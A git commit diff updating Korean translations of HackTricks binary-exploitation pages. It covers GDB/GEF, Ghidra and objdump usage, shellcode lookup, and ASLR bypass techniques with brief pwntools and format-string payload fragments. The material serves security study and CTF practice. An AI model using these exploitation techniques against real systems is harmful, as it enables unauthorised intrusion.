Translated ['binary-exploitation/basic-binary-exploitation-methodology/t

This commit is contained in:
Translator 2024-04-17 05:41:19 +00:00
parent da4442e95e
commit 7c6401d89c
23 changed files with 927 additions and 783 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 92 KiB

View file

@ -6,11 +6,11 @@
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. * **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
@ -43,6 +43,29 @@ apt-get install gdb
-p <pid> # Attach to process -p <pid> # Attach to process
``` ```
### 지침 ### 지침
#### Tools
1. **GDB**: GDB is a powerful debugger for analyzing and manipulating programs during runtime.
2. **objdump**: objdump is used for displaying information about object files.
3. **readelf**: readelf displays information about ELF files.
4. **strings**: strings is used to extract printable strings from files.
5. **hexdump**: hexdump is used to display file contents in hexadecimal, decimal, octal, or ASCII format.
6. **strace**: strace is used to trace system calls and signals.
7. **ltrace**: ltrace is used to trace library calls.
8. **file**: file is used to determine file type.
9. **IDA Pro**: IDA Pro is a disassembler and debugger.
10. **radare2**: radare2 is a framework for reverse engineering and analyzing binaries.
11. **pwntools**: pwntools is a CTF framework and exploit development library.
12. **ROPgadget**: ROPgadget is a tool for finding ROP gadgets in binaries.
13. **checksec**: checksec is used to check security properties of binaries.
14. **peda**: PEDA is an enhanced Python Exploit Development Assistance for GDB.
15. **GEF**: GEF is a GDB plugin that enhances GDB with additional features for exploit developers.
16. **Angr**: Angr is a platform-agnostic binary analysis framework.
17. **Unicorn Engine**: Unicorn Engine is a lightweight, multi-platform, multi-architecture CPU emulator framework.
18. **QEMU**: QEMU is a generic and open-source machine emulator and virtualizer.
These tools are commonly used in binary exploitation and can help in various stages of the exploitation process.
```bash ```bash
run # Execute run # Execute
start # Start and break in main start # Start and break in main
@ -116,6 +139,9 @@ pattern search $rsp #Search the offset given the content of $rsp
shellcode search x86 #Search shellcodes shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61 shellcode get 61 #Download shellcode number 61
#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
#Another way to get the offset of to the RIP #Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f 2- ef➤ i f
@ -134,18 +160,18 @@ gef➤ pattern search 0x6261617762616176
#### GDB 동일한 주소 #### GDB 동일한 주소
디버깅 중에 GDB는 실행될 때 용되는 것과 **약간 다른 주소를 가질 수 있습니다.** GDB가 동일한 주소를 가지도록 하려면 다음을 수행할 수 있습니다: 디버깅 중에 GDB는 실행될 때 용되는 것과 **약간 다른 주소를 가질 수 있습니다.** GDB가 동일한 주소를 가지도록 하려면 다음을 수행할 수 있습니다:
* `unset env LINES` * `unset env LINES`
* `unset env COLUMNS` * `unset env COLUMNS`
* `set env _=<path>` _바이너리의 절대 경로를 입력하세요_ * `set env _=<path>` _바이너리의 절대 경로를 입력하세요_
* 동일한 절대 경로를 사용하여 바이너리를 이용한 공격 * 동일한 절대 경로를 사용하여 바이너리를 이용한 공격
* GDB를 사용할 때와 바이너리를 공격할 때 `PWD``OLDPWD` 동일해야 합니다 * GDB를 사용할 때와 바이너리를 공격할 때 `PWD``OLDPWD` 동일해야 합니다
#### 함수 호출 찾기 위한 역추적 #### 함수 호출 찾기 위한 백트레이스
**정적으로 링크된 바이너리**를 가지고 있을 때 모든 함수는 바이너리에 속하게 됩니다(외부 라이브러리가 아닙니다). 이 경우 **예를 들어 사용자 입력을 요청하기 위해 바이너리가 따르는 흐름을 식별하는 것이 어려울 수 있습니다.**\ **정적으로 링크된 바이너리**의 경우 모든 함수가 바이너리에 속하게 됩니다(외부 라이브러리가 아님). 이 경우 **예를 들어 사용자 입력을 요청하는 바이너리가 따르는 흐름을 식별하는 것이 어려울 수 있습니다.**\
이 흐름을 쉽게 식별하기 위해 **gdb**를 사용하여 바이너리를 실행하고 입력을 요청받을 때까지 실행합니다. 그런 다음 **CTRL+C**로 중지하고 **`bt`** (**역추적**) 명령을 사용하여 호출된 함수를 확인할 수 있습니다: 이 흐름을 쉽게 식별하기 위해 **gdb**를 사용하여 바이너리를 실행하고 입력을 요청받을 때까지 실행합니다. 그런 다음 **CTRL+C**로 중지하고 **`bt`** (**백트레이스**) 명령을 사용하여 호출된 함수를 확인할 수 있습니다:
``` ```
gef➤ bt gef➤ bt
#0 0x00000000004498ae in ?? () #0 0x00000000004498ae in ?? ()
@ -156,14 +182,14 @@ gef➤ bt
``` ```
### GDB 서버 ### GDB 서버
`gdbserver --multi 0.0.0.0:23947` (IDA에서는 Linux 머신의 실행 파일의 절대 경로와 Windows 머신에서 채워야 합니다.) `gdbserver --multi 0.0.0.0:23947` (IDA에서는 Linux 머신의 실행 파일의 절대 경로와 Windows 머신의 절대 경로를 입력해야 함)
## Ghidra ## Ghidra
### 스택 오프셋 찾기 ### 스택 오프셋 찾기
**Ghidra**는 **로컬 변수의 위치 정보 덕분에 버퍼 오버플로우에 대한 오프셋을 찾는 데 매우 유용합니다.**\ **Ghidra**는 **로컬 변수의 위치 정보 덕분에 버퍼 오버플로우에 대한 오프셋을 찾는 데 매우 유용합니다.**\
예를 들어, 아래 예시에서 `local_bc`에서의 버퍼 플로우는 `0xbc`의 오프셋이 필요하다는 것을 나타냅니다. 게다가, `local_10`이 캐너리 쿠키인 경우, `local_bc`에서 덮어쓰기 위한 오프셋은 `0xac`입니다.\ 예를 들어, 아래 예시에서 `local_bc`에서의 버퍼 플로우는 `0xbc`의 오프셋이 필요하다는 것을 나타냅니다. 또한, `local_10`이 캐너리 쿠키인 경우, `local_bc`에서 덮어쓰기 위한 오프셋은 `0xac`입니다.\
_RIP가 저장된 첫 번째 0x08이 RBP에 속한다는 것을 기억하세요._ _RIP가 저장된 첫 번째 0x08이 RBP에 속한다는 것을 기억하세요._
![](<../../../.gitbook/assets/image (1058).png>) ![](<../../../.gitbook/assets/image (1058).png>)
@ -187,26 +213,26 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
## Objdump ## Objdump
**-d** --> 실행 파일의 **옵코드** 섹션을 분해합니다 (컴파일된 쉘코드의 옵코드 보기, ROP 가젯 찾기, 함수 주소 찾기...)\ **-d** --> 실행 파일의 **디어셈블리** 섹션 (컴파일된 쉘코드의 옵코드, ROP 가젯, 함수 주소 찾기 등)\
**-Mintel** --> **Intel** 구문\ **-Mintel** --> **Intel** 구문\
**-t** --> **심볼** 테이블\ **-t** --> **심볼** 테이블\
**-D** --> **모두 분해** (정적 변수의 주소)\ **-D** --> **모두 디어셈블** (정적 변수의 주소)\
**-s -j .dtors** --> dtors 섹션\ **-s -j .dtors** --> dtors 섹션\
**-s -j .got** --> got 섹션\ **-s -j .got** --> got 섹션\
\-D -s -j .plt --> **plt** 섹션 **분해**\ \-D -s -j .plt --> **plt** 섹션 **디컴파일**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> 수정할 "puts" 주소를 찾습니다\ **ojdump -t --dynamic-relo ./exec | grep puts** --> 수정할 "puts"의 주소를 찾기 위해\
**objdump -D ./exec | grep "VAR\_NAME"** --> 정적 변수의 주소 (이들은 DATA 섹션에 저장됨). **objdump -D ./exec | grep "VAR\_NAME"** --> 정적 변수의 주소 (이들은 DATA 섹션에 저장됨).
## Core dumps ## Core dumps
1. 프로그램을 시작하기 전에 `ulimit -c unlimited` 실행 1. 프로그램을 시작하기 전에 `ulimit -c unlimited` 실행
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 실행 2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 실행
3. `sudo gdb --core=\<path/core> --quiet` 실행 3. `sudo gdb --core=\<path/core> --quiet` 실행
## More ## More
**ldd executable | grep libc.so.6** --> 주소 (ASLR이 켜져 있으면 매번 변경됨)\ **ldd executable | grep libc.so.6** --> 주소 (ASLR이 켜져 있으면 매번 변경됨)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 주소가 자주 변경되는지 확인하 루프\ **for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 주소가 자주 변경되는지 확인하기 위한 루프\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"의 오프셋\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"의 오프셋\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"의 오프셋 **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"의 오프셋
@ -220,24 +246,24 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
``` ```
## IDA ## IDA
### 원격 리눅스에서 디버깅 ### 원격 리눅스 디버깅
IDA 폴더 안에는 리눅스 내의 이진 파일을 디버깅하는 데 사용할 수 있는 바이너리 파일이 있습니다. 이를 위해 `linux_server` 또는 `linux_server64` 바이너리 파일을 리눅스 서버로 이동하고 해당 바이너리 파일이 있는 폴더 내에서 실행하십시오: IDA 폴더 안에는 리눅스 내에서 이진 파일을 디버깅하는 데 사용할 수 있는 이진 파일이 포함되어 있습니다. 이를 위해 `linux_server` 또는 `linux_server64` 바이너리를 리눅스 서버로 이동하고 해당 바이너리가 있는 폴더 내에서 실행하십시오:
``` ```
./linux_server64 -Ppass ./linux_server64 -Ppass
``` ```
그런 다음, 디버거를 구성하십시오: 디버거 (리눅스 원격) --> 프로세스 옵션...: Debugger (linux remote) --> 프로세스 옵션... 으로 디버거를 구성하십시오:
![](<../../../.gitbook/assets/image (855).png>) ![](<../../../.gitbook/assets/image (855).png>)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅까지 AWS 해킹을 배우세요!</summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 귀하의 해킹 기술을 공유하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 귀하의 해킹 기술을 공유하세요.

View file

@ -6,17 +6,17 @@
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. * **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 요령을 공유**하세요. * **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
## 기본 정보 ## 기본 정보
**주소 공간 레이아웃 무작위화 (ASLR)**는 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 **메모리 주소를 무작위로 설정**합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 훨씬 어려워져서, 스택, 힙 및 라이브러리와 같은 특정 유형의 공격을 완화시킵니다. **주소 공간 레이아웃 무작위화 (ASLR)**는 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 **메모리 주소를 무작위로 변경**합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 상당히 어려워져 공격자가 스택, 힙, 라이브러리와 같은 특정 유형의 취약점을 완화하는 데 도움이 됩니다.
### **ASLR 상태 확인** ### **ASLR 상태 확인**
@ -24,7 +24,7 @@ Linux 시스템에서 ASLR 상태를 **확인**하려면 **`/proc/sys/kernel/ran
* **0**: 무작위화 없음. 모든 것이 정적입니다. * **0**: 무작위화 없음. 모든 것이 정적입니다.
* **1**: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다. * **1**: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.
* **2**: 완전한 무작위화. 보수적인 무작위화에 의해 무작위화된 요소에 추가하여 `brk()`를 통해 관리되는 메모리가 무작위화됩니다. * **2**: 완전한 무작위화. 보수적인 무작위화에 의해 무작위화되는 요소에 추가로 `brk()`를 통해 관리되는 메모리가 무작위화됩니다.
다음 명령어로 ASLR 상태를 확인할 수 있습니다: 다음 명령어로 ASLR 상태를 확인할 수 있습니다:
```bash ```bash
@ -32,18 +32,18 @@ cat /proc/sys/kernel/randomize_va_space
``` ```
### **ASLR 비활성화** ### **ASLR 비활성화**
ASLR **비활성화**하려면 `/proc/sys/kernel/randomize_va_space`의 값을 **0**으로 설정합니다. ASLR 비활성화하는 것은 일반적으로 테스트 또는 디버깅 시나리오 이외에는 권장되지 않습니다. 다음은 비활성화하는 방법입니다: ASLR **비활성화**하려면 `/proc/sys/kernel/randomize_va_space`의 값을 **0**으로 설정합니다. ASLR 비활성화하는 것은 일반적으로 테스트 또는 디버깅 시나리오 이외에는 권장되지 않습니다. 다음은 비활성화하는 방법입니다:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
ASLR를 실행 중에 비활성화할 수도 있습니다: 당신은 또한 실행을 위해 ASLR을 비활성화할 수 있습니다:
```bash ```bash
setarch `arch` -R ./bin args setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args setarch `uname -m` -R ./bin args
``` ```
### **ASLR 활성화** ### **ASLR 활성화**
ASLR **활성화**하려면 `/proc/sys/kernel/randomize_va_space` 파일에 **2** 값을 작성할 수 있습니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령을 사용할 수 있습니다: ASLR **활성화**하려면 `/proc/sys/kernel/randomize_va_space` 파일에 **2** 값을 작성할 수 있습니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령을 사용할 수 있습니다:
```bash ```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
@ -69,27 +69,27 @@ PaX는 프로세스 주소 공간을 **3 그룹**으로 나눕니다:
* **코드와 데이터** (초기화된 및 초기화되지 않은): `.text`, `.data`, 및 `.bss` —> `delta_exec` 변수에서 **16비트**의 엔트로피. 이 변수는 각 프로세스마다 무작위로 초기화되며 초기 주소에 추가됩니다. * **코드와 데이터** (초기화된 및 초기화되지 않은): `.text`, `.data`, 및 `.bss` —> `delta_exec` 변수에서 **16비트**의 엔트로피. 이 변수는 각 프로세스마다 무작위로 초기화되며 초기 주소에 추가됩니다.
* `mmap()`에 의해 할당된 **메모리****공유 라이브러리** —> **16비트**, `delta_mmap`이라고 함. * `mmap()`에 의해 할당된 **메모리****공유 라이브러리** —> **16비트**, `delta_mmap`이라고 함.
* **스택** —> **24비트**, `delta_stack`이라고 함. 그러나 실제로 **11비트**를 사용합니다 (10번째부터 20번째 바이트까지 포함), **16바이트**에 정렬됨 —> 이로 인해 **524,288개의 가능한 실제 스택 주소**가 생성됩니다. * **스택** —> **24비트**, `delta_stack`이라고 함. 그러나 실제로 **11비트**를 사용합니다 (10번째부터 20번째 바이트까지 포함), **16바이트**에 정렬됨 —> 이로 인해 **524,288개의 가능한 실제 스택 주소**가 생성됩니다.
이전 데이터는 32비트 시스템을 위한 것이며 최종 엔트로피 감소로 인해 공격자가 공격이 성공적으로 완료될 때까지 실행을 여러 번 시도하여 ASLR을 우회할 수 있습니다. 이전 데이터는 32비트 시스템을 위한 것이며 최종 엔트로피 감소로 인해 공격이 성공적으로 완료될 때까지 실행을 다시 시도하여 ASLR을 우회할 수 있습니다.
#### 무차별 대입 아이디어: #### 무차별 대입 아이디어:
* **쉘코드 앞에 큰 NOP 슬레드를 호스팅할만큼 충분히 오버플로우가 크다면**, 스택 주소를 무차별 대입하여 흐름이 **NOP 슬레드의 일부를 건너뛰도록** 할 수 있습니다. * **쉘코드 앞에 큰 NOP 슬레드를 호스팅할만큼 충분한 오버플로우가 있다면**, 스택 주소를 무차별 대입하여 흐름이 **NOP 슬레드의 일부를 건너뛰도록** 할 수 있습니다.
* 오버플로우가 그리 크지 않고 공격을 로컬에서 실행할 수 있는 경우, **환경 변수에 NOP 슬레드와 쉘코드를 추가**할 수 있습니다. * 오버플로우가 그리 크지 않고 공격을 로컬에서 실행할 수 있는 경우, **환경 변수에 NOP 슬레드와 쉘코드를 추가**할 수 있습니다.
* 공격이 로컬인 경우, libc의 베이스 주소를 무차별 대입해 볼 수 있습니다 (32비트 시스템에 유용함): * 공격이 로컬인 경우, libc의 기본 주소를 무차별 대입해 볼 수 있습니다 (32비트 시스템에 유용함):
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
* 원격 서버를 공격할 때 `libc` 함수 `usleep`의 주소를 **무차별 대입(brute-force)**하여 인자로 10을 전달할 수 있습니다. 서버가 응답하는 데 10초 더 걸린다면 이 함수의 주소를 찾은 것입니다. * 원격 서버를 공격할 때 `libc` 함수 `usleep`의 주소를 **무차별 대입(brute-force)**하여 인자로 10을 전달할 수 있습니다. 서버가 응답하는 데 10초 더 걸린다면 이 함수의 주소를 찾은 것입니다.
{% hint style="success" %} {% hint style="success" %}
64비트 시스템에서 엔트로피가 훨씬 높아 이것은 불가능할 것입니다. 64비트 시스템에서 엔트로피가 훨씬 높아 이것은 불가능할 것입니다.
{% endhint %} {% endhint %}
### 64비트 스택 무차별 대입 ### 64비트 스택 무차별 대입
환경 변수로 스택의 큰 부분을 점유한 다음 이를 남용하여 이를 악용하기 위해 이진 파일을 수백 번/수천 번 실행할 수 있습니다.\ 환경 변수로 스택의 큰 부분을 점유한 다음 이를 남용하여 이진 파일을 수백 번/수천 번 실행하여 로컬에서 악용할 수 있습니다.\
다음 코드는 **스택에서 주소를 선택**하고 매 **수백 번 실행**할 때마다 해당 주소에 **NOP 명령어**가 포함될 수 있는 방법을 보여줍니다: 다음 코드는 **스택에서 주소를 선택**하고 매 **수백 번 실행**할 때마다 해당 주소에 **NOP 명령어**가 포함될 수 있는 방법을 보여줍니다:
```c ```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
@ -158,26 +158,26 @@ pass
### 로컬 정보 (`/proc/[pid]/stat`) ### 로컬 정보 (`/proc/[pid]/stat`)
프로세스의 **`/proc/[pid]/stat`** 파일은 항상 모든 사람이 읽을 수 있으며 **흥미로운** 정보를 포함니다: 프로세스의 **`/proc/[pid]/stat`** 파일은 항상 모든 사람이 읽을 수 있으며 **흥미로운** 정보를 포함하고 있습니다:
- **startcode****endcode**: 이진 파일의 **TEXT**와 관련된 위쪽 및 아래쪽 주소 * **startcode****endcode**: 이진 파일의 **TEXT**와 관련된 위쪽 및 아래쪽 주소
- **startstack**: **스택**의 시작 주소 * **startstack**: **스택**의 시작 주소
- **start\_data****end\_data**: **BSS**가 있는 위쪽 및 아래쪽 주소 * **start\_data****end\_data**: **BSS**가 있는 위쪽 및 아래쪽 주소
- **kstkesp****kstkeip**: 현재 **ESP****EIP** 주소 * **kstkesp****kstkeip**: 현재 **ESP****EIP** 주소
- **arg\_start****arg\_end**: **cli arguments**가 있는 위쪽 및 아래쪽 주소 * **arg\_start****arg\_end**: **cli arguments**가 있는 위쪽 및 아래쪽 주소
- **env\_start****env\_end**: **환경 변수**가 있는 위쪽 및 아래쪽 주소 * **env\_start****env\_end**: **환경 변수**가 있는 위쪽 및 아래쪽 주소
따라서, 공격자가 이진 파일이 있는 컴퓨터와 동일한 위치에 있고, 이진 파일이 원시 인수에서 오버플로우를 기대하지 않지만 이 파일을 읽은 후 **크래프트할 수 있는 다른 입력에서 오버플로우를 기대한다면** 공격자는 **이 파일에서 일부 주소를 얻어 이를 이용해 exploit에 대한 오프셋을 구성**할 수 있습니다. 따라서, 공격자가 이진 파일이 있는 컴퓨터와 동일한 위치에 있고, 해당 이진 파일이 원시 인수에서 오버플로우를 기대하지 않지만 이 파일을 읽은 후 **생성할 수 있는 다른 입력에서 오버플로우가 발생한다면**. 공격자는 **이 파일에서 일부 주소를 가져와 해당 주소로부터 공격을 위한 오프셋을 구성할 수 있습니다**.
{% hint style="success" %} {% hint style="success" %}
이 파일에 대한 자세한 정보는 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)에서 `/proc/pid/stat`을 검색하여 확인할 수 있습니다. 이 파일에 대한 자세한 정보는 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)에서 `/proc/pid/stat`을 검색하여 확인하십시오.
{% endhint %} {% endhint %}
### Leak이 있는 경우 ### Leak이 있는 경우
- **도전 과제는 leak을 제공하는 것입니다** * **도전 과제는 leak을 제공하는 것입니다**
Leak이 주어진 경우 (쉬운 CTF 도전 과제), 해당 leak에서 오프셋을 계산할 수 있습니다 (예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정). 이 예시 exploit은 [**여기의 예시**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하세요): Leak이 주어진 경우 (쉬운 CTF 도전 과제), 해당 leak에서 오프셋을 계산할 수 있습니다 (예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정). 이 예제 exploit은 [**여기의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하십시오):
```python ```python
from pwn import * from pwn import *
@ -210,9 +210,9 @@ p.interactive()
[ret2plt.md](ret2plt.md) [ret2plt.md](ret2plt.md)
{% endcontent-ref %} {% endcontent-ref %}
* **포맷 문자열 임의 읽기** * **Format Strings Arbitrary Read**
ret2plt와 마찬가지로 포맷 문자열 취약점을 통해 임의 읽기가 가능하면 **GOT**에서 **libc 함수**의 주소를 유출할 수 있습니다. 다음은 [**여기에서 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)입니다: ret2plt와 마찬가지로 포맷 문자열 취약점을 통해 임의 읽기가 가능하면 **libc 함수**의 주소를 GOT에서 유출할 수 있습니다. 다음은 [**여기에서 예제를 확인하세요**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python ```python
payload = p32(elf.got['puts']) # p64() if 64-bit payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|' payload += b'|'
@ -231,7 +231,7 @@ payload += p32(elf.symbols['main'])
### Ret2ret & Ret2pop ### Ret2ret & Ret2pop
스택 내부 주소를 악용하여 ASLR을 우회하려고 시도하십시오: 스택 내부 주소를 악용하여 ASLR을 우회하려고 시도하십시오:
{% content-ref url="ret2ret.md" %} {% content-ref url="ret2ret.md" %}
[ret2ret.md](ret2ret.md) [ret2ret.md](ret2ret.md)
@ -239,12 +239,12 @@ payload += p32(elf.symbols['main'])
### vsyscall ### vsyscall
**`vsyscall`** 메커니즘은 일부 시스템 호출을 사용자 공간에서 실행하여 성능을 향상시키는 데 사용됩니다. 이러한 시스템 호출은 기본적으로 커널의 일부이지만 **vsyscall**의 주요 장점은 **고정 주소**에 있습니다. 이러한 고정된 특성으로 인해 공격자는 주소를 확인하고 악용에 사용하기 위해 정보 누출 취약점이 필요하지 않습니다.\ **`vsyscall`** 메커니즘은 일부 시스템 호출을 사용자 공간에서 실행하여 성능을 향상시키는 데 사용됩니다. 이러한 시스템 호출은 기본적으로 커널의 일부이지만 **vsyscalls**의 주요 장점은 **고정 주소**에 있습니다. 이러한 고정된 특성으로 인해 **ASLR** (주소 공간 레이아웃 무작위화)의 영향을 받지 않습니다. 이 고정된 특성은 공격자가 주소를 확인하고 악용하기 위해 정보 누출 취약점이 필요하지 않다는 것을 의미합니다.\
그러나 여기에는 특별히 흥미로운 가젯이 없을 것입니다 (예를 들어 `ret;`과 같은 것을 얻을 수는 있습니다) 그러나 여기에는 특별히 흥미로운 가젯이 없을 것입니다 (예를 들어 `ret;`과 같은 것을 얻을 수는 있습니다)
(다음 예제 및 코드는 [**이 문서에서 가져왔습니다**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation)) (다음 예제 및 코드는 [**이 writeup에서 가져온 것**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation)입니다)
